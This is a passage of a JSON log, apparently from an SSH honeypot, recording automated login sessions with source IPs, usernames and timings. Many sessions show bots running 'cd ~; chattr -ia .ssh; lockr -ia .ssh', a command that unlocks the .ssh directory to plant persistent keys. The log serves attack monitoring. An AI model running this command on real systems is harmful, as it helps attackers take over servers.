  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:43:47.799358+00:00",
  "ended_at": "2026-08-27T12:43:49.271755+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "6093304b-6641-43c9-9219-e2cab08150d2",
  "name": "autumn-boreal-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43686,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:44.853109+00:00",
  "ended_at": "2026-08-27T12:43:45.892298+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a3dc6f7-436f-44be-8828-4e40ae7876d9",
  "name": "mindful-gallant-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 43676,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:42.663090+00:00",
  "ended_at": "2026-08-27T12:43:44.264309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a06d353-e5fa-439b-af03-44d6519588a4",
  "name": "lanky-tender-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51230,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:31.516689+00:00",
  "ended_at": "2026-08-27T12:43:32.659640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15fe404b-3a67-4ae1-8c0b-541ce99fc67a",
  "name": "solemn-granite-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:43:29.869308+00:00",
  "ended_at": "2026-08-27T12:43:30.815127+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d8f88f6-2dfe-4c51-b468-0240496d48b3",
  "name": "glacial-jolly-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59810,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:42:37.911180+00:00",
  "ended_at": "2026-08-27T12:42:39.439031+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "c107fcb5-0ca5-47ba-8c90-ffbc75cedf5c",
  "name": "crystal-jagged-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:27.151888+00:00",
  "ended_at": "2026-08-27T12:42:27.934055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83a15aba-fae7-4f01-ad0e-6b02ab3b0275",
  "name": "golden-tangled-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47332,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:24.083698+00:00",
  "ended_at": "2026-08-27T12:42:25.649003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d988d4d-6b4b-4fd7-8f21-6afa1f7d5580",
  "name": "genial-oaken-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59820,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:20.925356+00:00",
  "ended_at": "2026-08-27T12:42:21.696181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9c6065a-7d90-421a-99fa-0bbe9f749ef8",
  "name": "quartz-amiable-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 47322,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:42:20.515413+00:00",
  "ended_at": "2026-08-27T12:42:21.434017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "e5395ac7-0e12-44bb-8c91-9c0cd150699a",
  "name": "amber-jagged-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59818,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:42:18.177053+00:00",
  "ended_at": "2026-08-27T12:42:20.042059+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "620f9d87-abf7-409c-8e49-4ac4e633c6cd",
  "name": "jaunty-wistful-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 47640,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 289,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:41:57.495597+00:00",
  "ended_at": "2026-08-27T12:41:59.208027+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "c574abd1-bd65-4620-886b-60c576ef5dea",
  "name": "indigo-distant-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41254,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:41:52.190247+00:00",
  "ended_at": "2026-08-27T12:41:54.311017+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "ed08a284-20c7-4472-897a-7dd2b295f3aa",
  "name": "boreal-blithe-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47658,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:42.760371+00:00",
  "ended_at": "2026-08-27T12:41:44.081358+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f6eb3d5-2d6c-444f-84c8-6129feec7ab6",
  "name": "frosty-golden-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47652,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:41.483474+00:00",
  "ended_at": "2026-08-27T12:41:42.163313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3272b6bc-0705-4e42-888d-64ba584273d2",
  "name": "shifting-cunning-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41262,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:36.483426+00:00",
  "ended_at": "2026-08-27T12:41:37.382280+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73542e21-e36a-4256-b3f3-ab42eeec345a",
  "name": "tender-rambling-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41256,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:41:34.741630+00:00",
  "ended_at": "2026-08-27T12:41:35.830248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "355e851e-b9d3-416e-b759-5ab909a942b8",
  "name": "gilded-vernal-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59782,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:40:00.259470+00:00",
  "ended_at": "2026-08-27T12:40:01.293761+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "0df86da6-776d-413b-9b44-d14ed647b27c",
  "name": "woven-solemn-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46220,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:39:58.780008+00:00",
  "ended_at": "2026-08-27T12:39:59.943418+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "39da07dd-fb38-4fce-a527-19f9da5cd42c",
  "name": "snowy-lawful-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 46688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:39:56.552160+00:00",
  "ended_at": "2026-08-27T12:39:58.483014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "561a1baf-10b5-495f-9d07-ff7f1129e21d",
  "name": "seaward-twilight-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47306,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:39:55.682275+00:00",
  "ended_at": "2026-08-27T12:39:56.861549+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "c56126fe-d554-46c9-b23f-c60c629d2098",
  "name": "languid-early-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46710,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:42.142915+00:00",
  "ended_at": "2026-08-27T12:39:42.751879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aeab367b-402a-4636-a1f6-096587b5935f",
  "name": "fierce-blunt-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59808,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:42.013615+00:00",
  "ended_at": "2026-08-27T12:39:43.903190+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "84988aaa-43dd-40b0-8ff0-ac5df2f0d6e0",
  "name": "marine-coastal-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46694,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:40.517419+00:00",
  "ended_at": "2026-08-27T12:39:41.545907+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "679e29a3-165e-41e6-95ad-3a99708cd9f1",
  "name": "mindful-wry-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 60160,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:39.812494+00:00",
  "ended_at": "2026-08-27T12:39:41.463108+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d658e64-fe44-44cd-a889-f9a54bbf635a",
  "name": "bashful-lawful-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:39.679207+00:00",
  "ended_at": "2026-08-27T12:39:41.095896+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10bc4503-9042-4b44-b94e-ef782982b4ae",
  "name": "calm-arctic-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47308,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:37.602602+00:00",
  "ended_at": "2026-08-27T12:39:39.161528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6050a61-59df-437b-834d-e5a231189575",
  "name": "subtle-dusky-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46228,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:35.997858+00:00",
  "ended_at": "2026-08-27T12:39:37.466747+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92e66f16-da06-40cb-9f6a-d92fe964ba90",
  "name": "creaky-rustic-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:39:32.023865+00:00",
  "ended_at": "2026-08-27T12:39:33.772715+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6dbcae5e-128a-47be-b4ba-4b55025af095",
  "name": "fearless-early-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 54184,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:37:52.731139+00:00",
  "ended_at": "2026-08-27T12:37:54.330812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "3e59a2b6-5ca3-4b3c-a371-56c48ad903d9",
  "name": "crisp-honest-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 59326,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:37:49.832818+00:00",
  "ended_at": "2026-08-27T12:37:51.792145+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "71728729-1c5e-4d71-86b5-fcf06420e520",
  "name": "umber-chilly-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36242,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:38.430151+00:00",
  "ended_at": "2026-08-27T12:37:39.294141+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3797c883-fd69-4e8e-a605-753e4f04fd07",
  "name": "rapid-hushed-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36228,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:36.087607+00:00",
  "ended_at": "2026-08-27T12:37:37.844062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65834ad2-99ae-492e-8b0f-b3fd2076385d",
  "name": "forlorn-spirited-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:34.612656+00:00",
  "ended_at": "2026-08-27T12:37:35.396316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "30cf0601-5232-4355-9365-a2a1b01f49d7",
  "name": "buoyant-sincere-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59330,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:33.208796+00:00",
  "ended_at": "2026-08-27T12:37:33.960029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cbc3e03a-99ce-43c4-b6d9-9adcf2da4159",
  "name": "scarlet-hardy-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59760,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:37:20.204796+00:00",
  "ended_at": "2026-08-27T12:37:21.458484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "a0eac464-ca9b-423b-a5ae-5c03da6d1d3f",
  "name": "sleepy-gloomy-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59780,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:02.320236+00:00",
  "ended_at": "2026-08-27T12:37:03.297181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "276b53a3-5acd-4bfb-8d1a-6b5ba6050bb3",
  "name": "restless-umber-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59764,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:37:00.489779+00:00",
  "ended_at": "2026-08-27T12:37:01.412308+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "467028cb-c29a-47a2-afec-d16a157b2777",
  "name": "honest-frank-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:36:56.792472+00:00",
  "ended_at": "2026-08-27T12:36:58.539322+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d86b2d0-d6a5-4d6c-af6a-5baf78e630a9",
  "name": "watchful-emerald-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 55346,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:36:52.010293+00:00",
  "ended_at": "2026-08-27T12:36:54.033463+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d7f905c-ba6c-49fd-9c86-a32b9576a007",
  "name": "sandy-plush-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 49104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:36:48.413311+00:00",
  "ended_at": "2026-08-27T12:36:50.277326+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "ca3841d0-2be8-40db-974c-3a1cfa7f3b05",
  "name": "coral-keen-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57430,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:35:51.340494+00:00",
  "ended_at": "2026-08-27T12:35:53.501899+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "d331a879-855c-450e-b3a6-ec98cec99240",
  "name": "brazen-upland-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37660,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 346,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:35:51.172555+00:00",
  "ended_at": "2026-08-27T12:35:52.995733+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "6bff129b-5dbc-4096-be09-3d86b0074ffd",
  "name": "mindful-airy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 52984,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:35:41.014519+00:00",
  "ended_at": "2026-08-27T12:35:42.372176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "d780caf3-d73f-4557-a6f8-9cc9624808ac",
  "name": "sterling-placid-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 48326,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:36.348766+00:00",
  "ended_at": "2026-08-27T12:35:38.223388+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "beb2eb41-e143-4bbb-8a2b-750e77bf5985",
  "name": "alpine-oaken-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37678,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:35.908111+00:00",
  "ended_at": "2026-08-27T12:35:37.559532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e344c064-0a2b-4585-b6cc-1de1e4ebe998",
  "name": "knotted-sturdy-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:34.382289+00:00",
  "ended_at": "2026-08-27T12:35:35.255734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e479c537-8cbf-453b-b98b-21b4fdb72899",
  "name": "pristine-gleaming-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:33.784049+00:00",
  "ended_at": "2026-08-27T12:35:35.754740+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2cee207-c320-4c93-ae0a-b9e5e607dad8",
  "name": "velvet-granite-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53010,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:35:25.663054+00:00",
  "ended_at": "2026-08-27T12:35:27.141322+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38c40f76-355e-43c9-b7bf-0f4408d0ace6",
  "name": "creaky-sooty-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53000,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
